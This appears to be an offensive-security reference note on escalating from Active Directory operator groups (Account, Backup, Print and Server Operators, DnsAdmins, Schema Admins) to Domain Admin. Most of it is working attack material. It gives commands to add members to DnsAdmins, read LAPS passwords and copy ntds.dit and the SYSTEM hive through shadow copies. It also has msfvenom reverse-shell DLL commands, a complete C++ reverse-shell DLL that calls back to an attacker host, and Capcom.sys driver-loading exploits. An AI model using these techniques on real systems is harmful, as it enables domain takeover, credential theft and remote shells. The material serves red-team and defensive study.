# Exploitation - Operators to Domain Admins

### Overview

The built-in `Operators` groups are granted, by default, special privileges on the Domain Controllers, through the `Default Domain Controller Policy` `Group Policy Object (GPO)` (`UID: {6AC1786C-016F-11D2-945F-00C04fB984F9}`) linked on the Domain Controllers `Organisational Unit (OU)`.

The following `security identifier (SID)` are associated to privileged built-in groups:

| SID            | Name                |
| -------------- | ------------------- |
| `S-1-5-32-544` | `Administrators`    |
| `S-1-5-32-548` | `Account Operators` |
| `S-1-5-32-549` | `Server Operators`  |
| `S-1-5-32-550` | `Print Operators`   |
| `S-1-5-32-551` | `Backup Operators`  |

```
# Default Domain Controller Policy

SeBackupPrivilege = *S-1-5-32-549,*S-1-5-32-551,*S-1-5-32-544
SeBatchLogonRight = *S-1-5-32-559,*S-1-5-32-551,*S-1-5-32-544
SeDebugPrivilege = *S-1-5-32-544
SeInteractiveLogonRight = *S-1-5-9,*S-1-5-32-550,*S-1-5-32-549,*S-1-5-32-548,*S-1-5-32-551,*S-1-5-32-544
SeLoadDriverPrivilege = *S-1-5-32-550,*S-1-5-32-544
SeRemoteShutdownPrivilege = *S-1-5-32-549,*S-1-5-32-544
SeRestorePrivilege = *S-1-5-32-549,*S-1-5-32-551,*S-1-5-32-544
SeSecurityPrivilege = *S-1-5-32-544
SeTakeOwnershipPrivilege = *S-1-5-32-544
SeEnableDelegationPrivilege = *S-1-5-32-544
[...]
```

### Administrators

The built-in `Administrators` / `Administrateurs` `domain local` group (`SID: S-1-5-32-544`) correspond to the original local `Administrators` group of servers being promoted to the Domain Controllers role. The domain `Administrators` group, and its members, are protected by the `AdminSDHolder` mechanism.

The members of the domain `Administrators` group:

* Have full control over all the Domain Controllers of the domain. Among others possibilities, this access can be leveraged to remotely connect to a Domain Controller and dump the Active Directory `ntds.dit` database. Refer to the `[ActiveDirectory] ntds.dit dumping` for note for techniques to do so.
* Can by default take ownership (`WriteOwner`) and modify the `DACL` (`WriteDacl`) and properties (`WriteProperty` on `00000000-[...]00`) of most Active Directory objects. Including the privileged principals (`Domain Admins`, `Enterprise Admins`, etc.) protected by the `AdminSDHolder` mechanism and the `AdminSDHolder` container itself. Those rights can be leveraged to add member(s) to the privileged domain groups or change the password of privileged users. Refer to the `[ActiveDirectory] ACL exploiting - Users and groups permissions exploitation` note more information on how to conduct this kind of attacks.

```
# Validates the presence of the default ACL relative to the domain Administrators group on the AdminSDHolder object.
# DOMAIN_ROOT_OBJECT = "DC=LAB,DC=AD" for example

Get-Acl "AD:\CN=AdminSDHolder,CN=System,<DOMAIN_ROOT_OBJECT>" | Select-Object -ExpandProperty Access | ? IdentityReference -match "Administrators"

  ActiveDirectoryRights : CreateChild, DeleteChild, Self, WriteProperty, ExtendedRight, Delete, GenericRead, WriteDacl,WriteOwner
  InheritanceType       : None
  ObjectType            : 00000000-0000-0000-0000-000000000000
  InheritedObjectType   : 00000000-0000-0000-0000-000000000000
  ObjectFlags           : None
  AccessControlType     : Allow
  IdentityReference     : BUILTIN\Administrators
  IsInherited           : False
  InheritanceFlags      : None
  PropagationFlags      : None
```

### Account Operators

The members of the `Account Operators` / `Opérateurs de compte` `domain local` group (`SID: S-1-5-32-548`) have full control over user and machine accounts and domain groups, except for the accounts and groups that are protected by the `AdminSDHolder` mechanism. The domain `Account Operators` group, and its members, are protected by the `AdminSDHolder` mechanism.

Membership to the domain `Account Operators` group can be leveraged to:

* Add member(s) to the `DnsAdmins` group, which is not protected by the `AdminSDHolder` mechanism, to remotely execute code as `NT AUTHORITY\SYSTEM` on a Domain Controller.

  ```
  # Validates the presence of the default ACL relative to the Account Operators group on the DnsAdmins group.
  # DOMAIN_ROOT_OBJECT = "DC=LAB,DC=AD" for example
  Get-Acl "AD:\CN=DnsAdmins,CN=Users,<DOMAIN_ROOT_OBJECT>" | Select-Object -ExpandProperty Access | ? IdentityReference -match "Account Operators"

    ActiveDirectoryRights : GenericAll
    InheritanceType       : None
    ObjectType            : 00000000-0000-0000-0000-000000000000
    InheritedObjectType   : 00000000-0000-0000-0000-000000000000
    ObjectFlags           : None
    AccessControlType     : Allow
    IdentityReference     : BUILTIN\Account Operators
    IsInherited           : False
    InheritanceFlags      : None
    PropagationFlags      : None

  net localgroup "DnsAdmins" "<DOMAIN>\<USERNAME>" /add /domain
  dsmod.exe group "CN=DnsAdmins,CN=Users,<DOMAIN_ROOT_OBJECT>" -addmbr "<USER_DISTINGUISHED_NAME"

  Add-ADGroupMember -Identity "DnsAdmins" -Members [<SamAccountName | DistinguishedName | SID | GUID>, ...]
  Add-ADGroupMember -Server <DC_HOSTNAME | DC_IP> -Domain <DOMAIN> -Credential <PSCredentials> -Identity "DnsAdmins" -Members [<SamAccountName | DistinguishedName | SID | GUID>, ...]
  ```
* Take control of non-protected machines where privileged users have opened a session. `PowerView`'s cmdlets and `SharpHound` both wrap around the Windows `Win32API`'s `NetSessionEnum` API and can be used to enumerate sessions on remote systems. Refer to the `[ActiveDirectory] Credentials theft shuffling - Session hunting` and `[ActiveDirectory] AD scanners` notes for more information.

  Multiples techniques may be leveraged to take control of the non protected machines, including:

  * Reading the `Local Administrator Password Solution (LAPS)` password of the non-protected machines if the solution is deployed on the domain, as the `Account Operators` group can by default read all attributes of the machine accounts (including the `ms-Mcs-AdmPwd` attribute).

    ```
    Get-ADComputer -Identity <SamAccountName | DistinguishedName | SID | GUID> -Properties * | Ft Name,ms-Mcs-AdmPwdExpirationTime,ms-Mcs-AdmPwd
    Get-ADComputer -Filter {ms-mcs-admpwdexpirationtime -like "*"} -Properties * | Ft Name,ms-Mcs-AdmPwdExpirationTime,ms-Mcs-AdmPwd
    ```
  * Add member(s) to non-protected domain group, or change password of non-protected domain users, that are members of the local `Administrators` group of the targeted machine. `PowerView`'s cmdlets, `PingCastle`'s `localadmin` scanner and `SharpHound`'s `LocalAdmin` collection method can all be used to enumerate local groups memberships through `RPC` calls to the `SAMR` interface of the remote system (either through direct `RPC` calls or through the `NetLocalGroupGetMembers` Windows API). Refer to the `[ActiveDirectory] Credentials theft shuffling - Local group enumeration` for more information.

### Backup Operators

The members of the `Backup Operators` / `Opérateurs de sauvegarde` `domain local` group (`SID: S-1-5-32-551`) can remotely connect to Domain Controllers and `backup` or `restore` any files due to being granted the `SeBackupPrivilege` and `SeRestorePrivilege` privileges through the `Default Domain Controller Policy` `GPO`. These privileges can be leveraged to retrieve the content of the Active Directory `ntds.dit` database (which contain the Active Directory data such as usernames and users' `NTLM` hashes and `Kerberos` secrets). The domain `Backup Operators` group, and its members, are protected by the `AdminSDHolder` mechanism.

The `SeBackupPrivilege` privilege allows for the retrieval of any file content while the `SeRestorePrivilege` grants the possibility to modify any file, even if the security descriptor on the file might not grant such access. The members of the `Backup Operators` domain group cannot directly copy the `ntds.dit` file as the `Access Control List (ACL)` on the file restrict access to the `NT AUTHORITY\SYSTEM` built-in Windows Account and the `Administrators` domain group. In order to bypass the `ACL`, the `SeBackupPrivilege` privilege must be leveraged by opening the `ntds.dit` file with the `FILE_FLAG_BACKUP_SEMANTICS` flag, which can be done using the Windows built-in utility `robocopy`.

The `SeBackupPrivilege` may not be present in the `Access Tokens` of the command interpreter process if code execution is achieved through an interactive logon session (`Logon Type` `2` or `10`) and the `User Account Control (UAC)` mechanism is configured on the Domain Controller. An `unrestricted access token` must first be obtained either:

* through the `Run as administrator` functionality in an interactive session. In such scenario, the `SeBackupPrivilege` and `SeRestorePrivilege` privileges will be listed but will be `Disabled` in the `unrestricted access tokens`.
* through `PowerShell Remoting (WinRM)` if the service (`TCP` ports `5985` and / or `5986`) is exposed on a Domain Controller and the compromised account is also a member of the `Remote Management Users` domain group. Indeed, non interactive session are not subject to the `UAC` mechanism and the PowerShell process will be running in the security context of an `unrestricted access token`. For more information on how to connect through `WinRM`, refer to the `[L7] 5985-5986 WSMan` and `[Windows] Lateral movements` notes.

In a process running in the security context of an `unrestricted access token` with both the `SeBackupPrivilege` and `SeRestorePrivilege` privileges (enabled or not), `robocopy` may be used to copy in backup mode the `ntds.dit` file. While only the `SeBackupPrivilege` privilege is actually needed to conduct the file backup, `robocopy` requires both privileges to be present in the process token to make use of the `/b` option. `robocopy` will automatically enable both privileges for the time of its execution.

As the `ntds.dit` file is continuously accessed by Active Directory processes, a shadow volume must be created in order to allow its copy. Additionally, the `HKEY_LOCAL_MACHINE\SYSTEM` must also be exported. Indeed, the sensitive information in the `ntds.dit` file is encrypted using the system `Boot Key` (also known as the `System Key`, or `SysKey`) which is located in the `HKLM\SYSTEM` registry hive. As using `reg save` to export the `HKLM\SYSTEM` registry hive would require the `SeBackupPrivilege` privilege to be enabled in the process token, `robocopy` may be used instead to copy the hive from the shadow volume (necessary anyway for the `ntds.dit` file copy).

```
# For more tools and techniques to create a shadow volume or on how to extract credentials from the ntds.dit, refer to the `[ActiveDirectory]
ntds.dit dumping` note.

diskshadow.exe
  set context persistent nowriters
  add volume c: alias <ALIAS>
  create
  expose %<ALIAS>% <DRIVE_LETTER>:

robocopy /b "<DRIVE_LETTER>:\Windows\NTDS" "<EXPORT_FOLDER>" ntds.dit
robocopy /b "<DRIVE_LETTER>:\Windows\System32\config" "<EXPORT_FOLDER>" SYSTEM

diskshadow.exe
  delete shadows volume %<ALIAS>%
  reset
```

If `robocopy` is not available on the targeted Domain Controller, or if the `SeRestorePrivilege` was removed for the `Backup Operators` group, the privilege must be `Enabled` in a process `access tokens` in order to be able to backup files. This restriction is not applied through processes executed through `PowerShell Remoting` and thus the backup of the `ntds.dit` file should preferably be done through this mean if possible.

Otherwise, if access to a Domain Controller through `PowerShell Remoting` is not a possibility and access must be done through an interactive session, a PowerShell process must be started in an elevated security context and the `SeBackupPrivilege` token manually enabled:

```
# Lists the privileges, and their status, present in the current process Access Tokens
# If SeBackupPrivilege appears as "Disabled" ("SeBackupPrivilege  Back up files and directories  Disabled"), the process runs in a elevated security context but SeBackupPrivilege must be enabled.
whoami /priv

# Starts PowerShell in an elevated context.
Right click -> "Run as Administrator"
Start-Process -Verb RunAs powershell.exe

# Enables the SeBackupPrivilege privilege in the current process Access Tokens.
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege

# Open the source file with the FILE_FLAG_BACKUP_SEMANTICS flag in order to backup it.
Copy-FileSeBackupPrivilege <SHADOW_VOLUME_NTDS_DIT> <EXPORT_FILE>
reg save HKLM\SYSTEM <EXPORT_PATH>\SYSTEM
```

### DnsAdmins

The members of the `DnsAdmins` `domain local` group (variable `SID`) can manage the `DNS` services, usually hosted by the Domain Controllers, and the `Active Directory-Integrated DNS Zones (ADIDNS)`. This group exists only if the `DNS` server role is or was once installed on a Domain Controller in the domain (which is the case by default). The domain `DnsAdmins` group, and its members, are **not** protected by the `AdminSDHolder` mechanism.

Membership to the domain `DnsAdmins` group can notably be leveraged to configure the `DNS` service of a Domain Controller to load and execute an arbitrary `Dynamic Link Library (DLL)` through a `ServerLevelPluginDll` operation. As the `DNS` service (executing the `C:\Windows\system32\dns.exe` binary) is running as the local system account, this operation allows for the remote execution of code as `NT AUTHORITY\SYSTEM` on a Domain Controller.

The `dnscmd` Windows built-in utility can be used to conduct a `ServerLevelPluginDll` operation to load an arbitrary `DLL`. The specified `DLL` may be hosted on a remote network share, which can be done using `impacket`'s `smbserver.py` or directly through the Windows `File Explore` utility. Refer to the `[General] File Transfer` note for more information on those two techniques.

```
# smbserver.py [-smb2support] <SHARE_NAME> <SHARE_PATH>

# Instructs the dns.exe service of the remote Domain Controller to load and execute the specified DLL upon starting
dnscmd <DC_IP | DC_HOSTNAME> /config /serverlevelplugindll \\<SHARE_SERVER_IP>\<SHARE>\<DLL.dll>

# If code execution was achieved by others means on the Domain Controller, the modification of the DNS service configuration can be validated
reg query HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ /v ServerLevelPluginDll
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll

# Stops and starts the dns.exe service on the remote Domain Controller
sc.exe \\<DC_IP | DC_HOSTNAME> stop dns
sc.exe \\<DC_IP | DC_HOSTNAME> start dns
```

A `DLL`, functional for the exploit **but that will hang the `DNS` service restart**, can be generated using `msfvenom`:

```
# Example payloads: staged (windows/shell/reverse_tcp) or stageless (windows/shell_reverse_tcp) reverse shell.
# For more information on the listeners and payloads supported by the msfvenom utility refer to "[General] Shells" note.

msfvenom -a <x86 | x64> --platform windows -p <windows/shell/reverse_tcp | windows/x64/shell/reverse_tcp> LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -f dll -o <OUTPUT_DLL>
msfvenom -a <x86 | x64> --platform windows -p <windows/shell_reverse_tcp | windows/x64/shell_reverse_tcp> LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -f dll -o <OUTPUT_DLL>
```

In order to make the restart of the `DNS` service possible, the injected `DLL` must export a number of functions and start the payload in a thread. The `DNSAdmin-DLL.cpp` file (which export the `DNS_PLUGIN_API` functions) of the `DNSAdmin DLL` project can be replaced with the following `C++` code below, which includes a reverse shell payload. The `C++` reverse shell code is based on `tudorthe1ntruder`'s `reverse-shell-poc` and the modifications are inspired from the following `IppSec` walkthrough: `https://youtu.be/8KJebvmd1Fk?t=3290`.

```
#include "stdafx.h"

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <process.h>
#include <ws2tcpip.h>

#pragma comment(lib, "Ws2_32.lib")

#define REMOTE_ADDR "<LHOST_IP>"
#define REMOTE_PORT "<LHOST_PORT>"

DWORD WINAPI ReverseShell(__in PVOID lpParameter) {
	FreeConsole();
	WSADATA wsaData;
	int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
	struct addrinfo* result = NULL, * ptr = NULL, hints;
	memset(&hints, 0, sizeof(hints));
	hints.ai_family = AF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = IPPROTO_TCP;
	getaddrinfo(REMOTE_ADDR, REMOTE_PORT, &hints, &result);
	ptr = result;
	SOCKET ConnectSocket = WSASocket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol, NULL, NULL, NULL);
	connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);
	ZeroMemory(&pi, sizeof(pi));
	si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_HIDE;
	si.hStdInput = (HANDLE)ConnectSocket;
	si.hStdOutput = (HANDLE)ConnectSocket;
	si.hStdError = (HANDLE)ConnectSocket;
	TCHAR cmd[] = TEXT("C:\\WINDOWS\\SYSTEM32\\CMD.EXE");
	CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
	WaitForSingleObject(pi.hProcess, INFINITE);
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	WSACleanup();
	return 0;
}

extern "C" __declspec(dllexport)
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction) {
	HANDLE h;
	DWORD threadID;
	h = CreateThread(0, 0, ReverseShell, 0, 0, &threadID);
	return ERROR_SUCCESS;
}

extern "C" __declspec(dllexport)
DWORD WINAPI DnsPluginCleanup() {
	return ERROR_SUCCESS;
}

extern "C" __declspec(dllexport)
DWORD WINAPI DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PVOID ppDnsRecordListHead) {
	return ERROR_SUCCESS;
}
```

### Print Operators

The members of the `Print Operators` / `Opérateurs d'impression` `domain local` group (`SID: S-1-5-32-550`) can remotely connect and load kernel drivers on Domain Controllers due to being granted the `SeLoadDriverPrivilege` privilege through the `Default Domain Controller Policy` `GPO`. The `SeLoadDriverPrivilege` privilege can be leveraged to execute code in the kernel space as `NT AUTHORITY\SYSTEM`. This privileged code execution can be used to add members to the `Domain Admins` group or retrieve the content of the Active Directory `ntds.dit` database (which contain the Active Directory data such as usernames and users' `NTLM` hashes and `Kerberos` secrets). The domain `Print Operators` group, and its members, are protected by the `AdminSDHolder` mechanism.

Similarly to the `SeBackupPrivilege` for the `Backup Operators`, the `SeLoadDriverPrivilege` privilege requires an `unrestricted access token` and, for code execution through interactive logon sessions, to be explicitly `Enabled`. The exploit code of the `EoPLoadDriver` project, presented below, will attempt to enable the `SeLoadDriverPrivilege` privilege if executed in a process running in the security context of an `unrestricted access token`. Alternatively, refer to the `Backup Operators` section for more information on tools and techniques to obtain a process with the `SeLoadDriverPrivilege` privilege `Enabled` in its `access token`.

In order for a driver to be loaded in the Windows operating system, the driver file must be digitally signed either:

* for signature date prior to 29/07/2015, with a trusted cross-signed certificate, du to compatibility reasons for older drivers.
* with a trusted `Extended Validation Code Signing Certificate` certificate and `Windows Hardware Quality Labs (WHQL)` certified.

A legitimate and digitally signed driver vulnerable to a code execution vulnerability can be loaded and exploited in order to gain kernel space code execution. The technique allows to circumvent the need of using one's own digitally signed driver for privilege elevation purpose. The `Capcom.sys` driver match those two criteria and can be exploited using public projects.

Note that the `Capcom.sys` driver may be flagged as harmful by the eventual anti-virus solution deployed on the Domain Controller.

While kernel drivers are usually installed through the `Service Control Manager (SCM)`, as services of type `SERVICE_KERNEL_DRIVER`, and register an entry, corresponding to their configuration, in the `HKEY_LOCAL_MACHINE` registry hive (`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\`), the members of the `Print Operators` group do not have the necessary level of permissions to do so. Instead, an entry in the `HKEY_CURRENT_USER` registry hive, by default writable by the current user (`Full Control`), can be created and used to load the driver in the kernel (through the `NtLoadDriver` API). The Driver installation will not persist across reboot. Note however that as of `Windows 10 Version 1803`, the `NTLoadDriver` API seems to forbid references to registry keys under `HKEY_CURRENT_USER`.

The process can be automated using the `eoploaddriver` binary

```
# If needed, compiles the EoPLoadDriver project from the Linux operating system using MinGW.
# Alternatively, binaries are compiled on the following GitHub repository: https://github.com/umiterkol/EoPLoadDriver_Release/releases.
# The source code headers must be modified as follow:
# #include "stdafx.h" -> must be removed.
# #include <Windows.h> -> #include <windows.h>
# #include <Winternl.h>  -> #include <winternl.h>
# Compiles for 32-bits systems.
i686-w64-mingw32-g++ -o eoploaddriver.exe eoploaddriver.cpp
# Compiles for 64-bits systems.
x86_64-w64-mingw32-g++ -o eoploaddriver.exe eoploaddriver.cpp

# Creates the necessary entry in the specified registry path (in HKCU\System\CurrentControlSet\<DRIVER_NAME>) and loads the specified Windows kernel driver.
# Requires the SeLoadDriverPrivilege privilege to be Enabled in the process access token.
# The Capcom.sys driver can be found in the Capcom-Rootkit project GitHub repository (hash SHA256: da6ca1fb539f825ca0f012ed6976baf57ef9c70143b7a1e88b4650bf7a925e24).
eoploaddriver.exe System\CurrentControlSet\<DRIVER_NAME> "<CAPCOM_SYS_FILE_PATH | DRIVER_SYS_FILE_PATH>"
```

The `Capcom` driver can then be exploited using multiple public projects:

```
# Replaces the current process access token to the SYSTEM access token effectively granting the current process "NT AUTHORITY\SYSTEM" privileges.
. .\CapCom-GDI-x64Universal.ps1
CapCom-GDI-x64Universal

# Requires an interactive logon session as the exploit launches a new command prompt (with "NT AUTHORITY\SYSTEM" privileges).
ExploitCapcom.exe

# Requires a meterpreter shell and will execute the specified metasploit payload.
# The vulnerability check may fail and should be commented out (check function).
msf> use exploit/windows/local/capcom_sys_exec
```

### Schema Admins

The members of the `Schema Admins` / `Administrateurs du schéma` `universal` group (`SID: S-1-5-21-<ROOT_DOMAIN>-518`) can modify the `Active Directory Schema`. The `Active Directory Schema` defines every objects class, and their attributes, that can be created in an Active Directory forest. For example, the schema defines a `securityPrincipal` class, with the mandatory `objectSid` and `sAMAccountName` attributes, that is inherited by the `user` class. The schema is shared by all the domains of the forest. By default, the only member of the `Schema Admins` group is the built-in `Administrator` account of the forest root domain. The domain `Schema Admins` group, and its members, are protected by the `AdminSDHolder` mechanism.

While membership to the domain `Schema Admins` group can not, as far current public knowledge goes, be directly leveraged to elevate privileges to `Domain Admins`, it does offer possibilities to take control of newly created Active Directory objects. The schema can be edited, if necessary on out of the domain machines, through the `Microsoft Management Console (MMC)` utility. The modifications should be made against the Enterprise Domain Controller holding the `Schema Master` `Flexible Single Master Operations (FSMO)` role.

Note that the Active Directory schema is replicated on each Domain Controllers through the standard Active Directory replication mechanisms. Additionally, the schema is kept cached in RAM on the Domain Controllers and the modifications replicated will affect new objects after the schema is reloaded in memory in a 5-minutes window.

```
# Registers the "Active Directory Schema" snap-in on the local system.
regsvr32 schmmgmt.dll

# If necessary, retrieves the Schema Master Enterprise Domain Controller.
Get-ADForest | Select-Object SchemaMaster
Get-ADForest -Server <DC_IP> -Credential <PSCredential> | Select-Object SchemaMaster

# Starts the mmc utility and adds the "Active Directory Schema" snap-in.
# Refer to the "[Windows] Lateral movements - Local credential re-use" for procedures to start the mmc utility under the identify of another user, through Pass-the-Hash if necessary.
File -> Add/Remove Snap-in (Ctrl + M) -> Selection of "Active Directory Schema"

Right click on "Active Directory Schema"
  -> Either choose "Connect to Schema Operations Master" on an enrolled machine
  -> Or manually specify the Schema Master Domain Controller through the "Change Active Directory Domain Controller..."
```

For instance, the default `Access Control List (ACL)` of the `user` class can be updated to grant control over the new users that will be created after the schema update and replication. However, if a newly created user is added to any domain privileged groups, that is protected by the `AdminSDHolder` mechanism, the default `ACL` will be overwritten through the `SDProp` process (by the "template" ACL defined on the `AdminSDHolder` object).

```
Classes -> Right click "user" -> Properties -> Default Security -> Add -> Specify a controlled security principal or "Everyone" / "Authenticated users" / etc. -> Permissions : "Full Control" / "Reset password" / etc.
```

### Server Operators

The members of the `Server Operators` / `Opérateurs de serveur` `domain local` group (`SID: S-1-5-32-549`) can, similarly to `Backup operators`, remotely connect to Domain Controllers and `backup` or `restore` any files. Indeed, the `Server Operators` are also granted the `SeBackupPrivilege` and `SeRestorePrivilege` privileges. The domain `Server Operators` group, and its members, are protected by the `AdminSDHolder` mechanism.

Refer to the `Backup Operators` section for techniques on how to leverage a membership to the `Server Operators` group to elevate privileges to `Domain Administrators`.

***

### References

<https://adsecurity.org/?p=3700> <https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83> <https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise> <https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups> <https://adsecurity.org/?p=4064> <https://www.youtube.com/watch?v=8KJebvmd1Fk> <https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/> <https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges> <https://github.com/FuzzySecurity/Capcom-Rootkit> <https://github.com/tandasat/ExploitCapcom>
